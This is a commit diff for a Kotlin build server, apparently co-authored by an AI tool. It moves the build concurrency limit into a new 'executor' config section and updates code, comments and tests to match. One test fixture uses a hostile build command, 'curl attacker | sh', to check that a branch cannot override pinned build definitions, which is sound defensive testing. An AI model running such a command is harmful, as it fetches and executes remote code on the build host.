Move the concurrency limit to executor.maxConcurrent
builds.maxConcurrent mixed an execution setting into the build definitions as a reserved key. The limit now lives in the new executor section (pinned like the builds section, enforced for all builds regardless of trigger), default 1, without a compatibility alias — a leftover builds.maxConcurrent key is rejected as an invalid build definition. Recorded as a follow-up in ADR 0007. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
This commit is contained in:
mhoennig
co-authored by
Claude Fable 5
Claude Fable 5
parent
e118c239f8
commit
495b7f3282
@@ -26,7 +26,7 @@ import java.util.concurrent.atomic.AtomicBoolean
|
||||
import kotlin.concurrent.thread
|
||||
|
||||
/**
|
||||
* Runs builds asynchronously: up to `builds.maxConcurrent` branches at the same time
|
||||
* Runs builds asynchronously: up to `executor.maxConcurrent` branches at the same time
|
||||
* (default 1), but never more than one build per branch. Each branch builds in its
|
||||
* own git worktree via [BranchWorkspaces], never in the primary checkout.
|
||||
* Every status transition is persisted via the [BuildResultRepository], published
|
||||
@@ -50,7 +50,7 @@ class BuildExecutor(
|
||||
/** All accepted, not yet finished builds by artifact key — queued and running. */
|
||||
private val builds = ConcurrentHashMap<String, ActiveBuild>()
|
||||
|
||||
/** Global concurrency limit; sized from `builds.maxConcurrent` on first use. */
|
||||
/** Global concurrency limit; sized from `executor.maxConcurrent` on first use. */
|
||||
@Volatile
|
||||
private var slots: Semaphore? = null
|
||||
|
||||
@@ -116,12 +116,12 @@ class BuildExecutor(
|
||||
)
|
||||
repository.append(pending)
|
||||
eventPublisher.publishEvent(BuildStatusChangedEvent(pending))
|
||||
val build = ActiveBuild(runningBuild, workingDir)
|
||||
builds[runningBuild.artifactKey] = build
|
||||
publishGiteaStatus(build, BuildStatus.PENDING, duration = null)
|
||||
val activeBuild = ActiveBuild(runningBuild, workingDir)
|
||||
builds[runningBuild.artifactKey] = activeBuild
|
||||
publishGiteaStatus(activeBuild, BuildStatus.PENDING, duration = null)
|
||||
branchWorkers
|
||||
.computeIfAbsent(branch) { serialWorker(it) }
|
||||
.submit { execute(build) }
|
||||
.submit { execute(activeBuild) }
|
||||
return runningBuild
|
||||
}
|
||||
|
||||
@@ -232,7 +232,7 @@ class BuildExecutor(
|
||||
|
||||
/**
|
||||
* The semaphore is sized once from the first build's config;
|
||||
* changing `builds.maxConcurrent` requires a restart.
|
||||
* changing `executor.maxConcurrent` requires a restart.
|
||||
*/
|
||||
private fun slotsFor(workingDir: Path): Semaphore {
|
||||
slots?.let { return it }
|
||||
@@ -241,7 +241,7 @@ class BuildExecutor(
|
||||
val maxConcurrent =
|
||||
configLoader
|
||||
.load(workingDir)
|
||||
.builds.maxConcurrent
|
||||
.executor.maxConcurrent
|
||||
.coerceAtLeast(1)
|
||||
return Semaphore(maxConcurrent, true).also { slots = it }
|
||||
}
|
||||
|
||||
@@ -150,11 +150,13 @@ class InitCommand(
|
||||
repo: ${detected.repo} # repository name
|
||||
statusContext: GitTally # label shown on Gitea commit status checks (default: GitTally)
|
||||
|
||||
# Build execution and named build definitions (jobs); "maxConcurrent" is a
|
||||
# reserved key, every other key names a build definition over the branches.
|
||||
builds:
|
||||
# how many branches may build at the same time (at most one build per branch regardless)
|
||||
# Build execution settings, enforced for all builds regardless of their trigger.
|
||||
executor:
|
||||
# how many builds may run at the same time (at most one build per branch regardless)
|
||||
maxConcurrent: 1
|
||||
|
||||
# Named build definitions (jobs) over the branches; every key names a build.
|
||||
builds:
|
||||
# Example definition — triggers (onPush/atTimes), branch selector
|
||||
# (branches/activeWithin), and overrides of the branch settings:
|
||||
# pitest:
|
||||
|
||||
@@ -51,30 +51,11 @@ class ConfigLoader {
|
||||
if (raw.isEmpty()) {
|
||||
GitTallyConfig()
|
||||
} else {
|
||||
yaml.convertValue(splitBuildsSection(mergeBranchDefaults(raw)), GitTallyConfig::class.java)
|
||||
yaml.convertValue(mergeBranchDefaults(raw), GitTallyConfig::class.java)
|
||||
}
|
||||
return defaultPublicBaseUrl(config)
|
||||
}
|
||||
|
||||
/**
|
||||
* The YAML `builds` section carries the reserved execution key `maxConcurrent`
|
||||
* next to the named build definitions (ADR 0007); the schema separates them into
|
||||
* [GitTallyConfig.builds] and [GitTallyConfig.buildDefinitions].
|
||||
*/
|
||||
@Suppress("UNCHECKED_CAST")
|
||||
private fun splitBuildsSection(raw: Map<String, Any?>): Map<String, Any?> {
|
||||
val builds = raw["builds"] as? Map<String, Any?> ?: return raw
|
||||
val definitions = builds.filterKeys { it !in RESERVED_BUILDS_KEYS }
|
||||
if (definitions.isEmpty()) {
|
||||
return raw
|
||||
}
|
||||
return raw +
|
||||
mapOf(
|
||||
"builds" to builds.filterKeys { it in RESERVED_BUILDS_KEYS },
|
||||
"buildDefinitions" to definitions,
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Removes the keys a build worktree must never override: the secret/server-side
|
||||
* top-level sections and the per-branch docker sandbox policy. See [loadForWorktree].
|
||||
@@ -163,13 +144,10 @@ class ConfigLoader {
|
||||
companion object {
|
||||
/**
|
||||
* Top-level sections a build worktree must never override: secrets, server-side
|
||||
* settings, and the build definitions with their execution settings (a branch
|
||||
* must not be able to redefine jobs or raise concurrency).
|
||||
* settings, the build definitions, and the concurrency limit (a branch must not
|
||||
* be able to redefine jobs or raise concurrency).
|
||||
*/
|
||||
private val PINNED_TOP_LEVEL_KEYS = setOf("git", "gitea", "server", "builds")
|
||||
|
||||
/** Keys of the YAML `builds` section that are execution settings, not build definitions. */
|
||||
private val RESERVED_BUILDS_KEYS = setOf("maxConcurrent")
|
||||
private val PINNED_TOP_LEVEL_KEYS = setOf("git", "gitea", "server", "builds", "executor")
|
||||
|
||||
/** Per-branch `docker` keys the worktree must never override: the sandbox policy. */
|
||||
private val PINNED_DOCKER_KEYS = setOf("enabled", "network")
|
||||
|
||||
@@ -1,18 +1,21 @@
|
||||
package de.hoennig.gittally.config
|
||||
|
||||
import com.fasterxml.jackson.annotation.JsonProperty
|
||||
|
||||
data class GitTallyConfig(
|
||||
val server: ServerConfig = ServerConfig(),
|
||||
val git: GitConfig = GitConfig(),
|
||||
val gitea: GiteaConfig = GiteaConfig(),
|
||||
val builds: BuildsConfig = BuildsConfig(),
|
||||
val executor: ExecutorConfig = ExecutorConfig(),
|
||||
val artifacts: ArtifactsConfig = ArtifactsConfig(),
|
||||
val watcher: WatcherConfig = WatcherConfig(),
|
||||
val branches: Map<String, BranchConfig> = mapOf("default" to BranchConfig()),
|
||||
/**
|
||||
* Named build definitions (jobs) over the branches (ADR 0007). The implicit
|
||||
* [BuildDefinition.DEFAULT] build (`onPush` over all branches) applies unless this
|
||||
* map overrides it; see [effectiveBuildDefinitions].
|
||||
* Named build definitions (jobs) over the branches (ADR 0007), the YAML `builds`
|
||||
* section. The implicit [BuildDefinition.DEFAULT] build (`onPush` over all
|
||||
* branches) applies unless this map overrides it; see [effectiveBuildDefinitions].
|
||||
*/
|
||||
@JsonProperty("builds")
|
||||
val buildDefinitions: Map<String, BuildDefinition> = emptyMap(),
|
||||
) {
|
||||
/** The configured [buildDefinitions] plus the implicit `default` build unless overridden. */
|
||||
@@ -78,11 +81,6 @@ data class GiteaConfig(
|
||||
val statusContext: String = "GitTally",
|
||||
)
|
||||
|
||||
data class BuildsConfig(
|
||||
/** How many branches may build at the same time; at most one build per branch regardless. */
|
||||
val maxConcurrent: Int = 1,
|
||||
)
|
||||
|
||||
data class ArtifactsConfig(
|
||||
val retentionPerBranch: Int = 3,
|
||||
/**
|
||||
@@ -156,6 +154,12 @@ data class DockerConfig(
|
||||
val env: Map<String, String> = emptyMap(),
|
||||
)
|
||||
|
||||
/** Build execution settings, enforced by the executor for all builds regardless of their trigger. */
|
||||
data class ExecutorConfig(
|
||||
/** How many builds may run at the same time; at most one build per branch runs regardless. */
|
||||
val maxConcurrent: Int = 1,
|
||||
)
|
||||
|
||||
/**
|
||||
* Deprecated per-branch schedule (pre-ADR-0007), kept for compatibility: mapped to a
|
||||
* daily rebuild of the branch's own pool with its regular command. New configurations
|
||||
|
||||
@@ -53,7 +53,7 @@ class BuildsApiController(
|
||||
|
||||
private fun BuildResult.isLatestGreen(): Boolean = repository.latestGreenFor(name)?.artifactKey == artifactKey
|
||||
|
||||
/** The currently executing builds — several are possible, up to `builds.maxConcurrent`. */
|
||||
/** The currently executing builds — several are possible, up to `executor.maxConcurrent`. */
|
||||
@GetMapping("/api/builds/current")
|
||||
fun current(): List<CurrentBuildDto> {
|
||||
val results = repository.history()
|
||||
@@ -88,8 +88,8 @@ class BuildsApiController(
|
||||
/**
|
||||
* Re-enqueues the last recorded commit of the build name [branch] — or the origin
|
||||
* head for a branch never built, so the branches view can trigger first builds like
|
||||
* legacy. A restarted auto-slot build re-runs the command its slot dictated, under
|
||||
* the slot's name.
|
||||
* legacy. A restarted build re-runs its recorded build definition, with the
|
||||
* settings from the current configuration.
|
||||
* The name is a parameter, not a path variable, because branch names may contain
|
||||
* slashes (Tomcat rejects encoded slashes in the path by default).
|
||||
*/
|
||||
|
||||
@@ -77,7 +77,7 @@ class BuildExecutorTest : FunSpec() {
|
||||
buildRunner: BuildRunner? = null,
|
||||
) = Harness(
|
||||
"""
|
||||
builds:
|
||||
executor:
|
||||
maxConcurrent: $maxConcurrent
|
||||
branches:
|
||||
default:
|
||||
@@ -477,7 +477,7 @@ class BuildExecutorTest : FunSpec() {
|
||||
val h =
|
||||
Harness(
|
||||
"""
|
||||
builds:
|
||||
executor:
|
||||
maxConcurrent: 1
|
||||
branches:
|
||||
branch-a:
|
||||
|
||||
@@ -34,25 +34,26 @@ class ConfigLoaderTest : FunSpec() {
|
||||
config.gitea.repo shouldBe "my-repo"
|
||||
}
|
||||
|
||||
test("reads builds.maxConcurrent and defaults it to 1") {
|
||||
test("reads executor.maxConcurrent and defaults it to 1") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
loader.load(dir).builds.maxConcurrent shouldBe 1
|
||||
loader.load(dir).executor.maxConcurrent shouldBe 1
|
||||
|
||||
dir.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
builds:
|
||||
executor:
|
||||
maxConcurrent: 3
|
||||
""".trimIndent(),
|
||||
)
|
||||
loader.load(dir).builds.maxConcurrent shouldBe 3
|
||||
loader.load(dir).executor.maxConcurrent shouldBe 3
|
||||
}
|
||||
|
||||
test("the builds section splits into the reserved maxConcurrent and named build definitions") {
|
||||
test("the builds section holds named build definitions") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
dir.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
builds:
|
||||
executor:
|
||||
maxConcurrent: 2
|
||||
builds:
|
||||
pitest:
|
||||
atTimes: ["01:00"]
|
||||
branches: ["master", "release/*"]
|
||||
@@ -63,7 +64,7 @@ class ConfigLoaderTest : FunSpec() {
|
||||
|
||||
val config = loader.load(dir)
|
||||
|
||||
config.builds.maxConcurrent shouldBe 2
|
||||
config.executor.maxConcurrent shouldBe 2
|
||||
config.buildDefinitions shouldBe
|
||||
mapOf(
|
||||
"pitest" to
|
||||
@@ -103,8 +104,9 @@ class ConfigLoaderTest : FunSpec() {
|
||||
val worktree = Files.createTempDirectory("gittally-test-worktree")
|
||||
worktree.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
builds:
|
||||
executor:
|
||||
maxConcurrent: 99
|
||||
builds:
|
||||
pitest:
|
||||
buildCommand: curl attacker | sh
|
||||
""".trimIndent(),
|
||||
@@ -112,7 +114,7 @@ class ConfigLoaderTest : FunSpec() {
|
||||
|
||||
val config = loader.loadForWorktree(dir, worktree)
|
||||
|
||||
config.builds.maxConcurrent shouldBe 1
|
||||
config.executor.maxConcurrent shouldBe 1
|
||||
config.buildDefinitions.getValue("pitest").buildCommand shouldBe "./gradlew piTestFull"
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user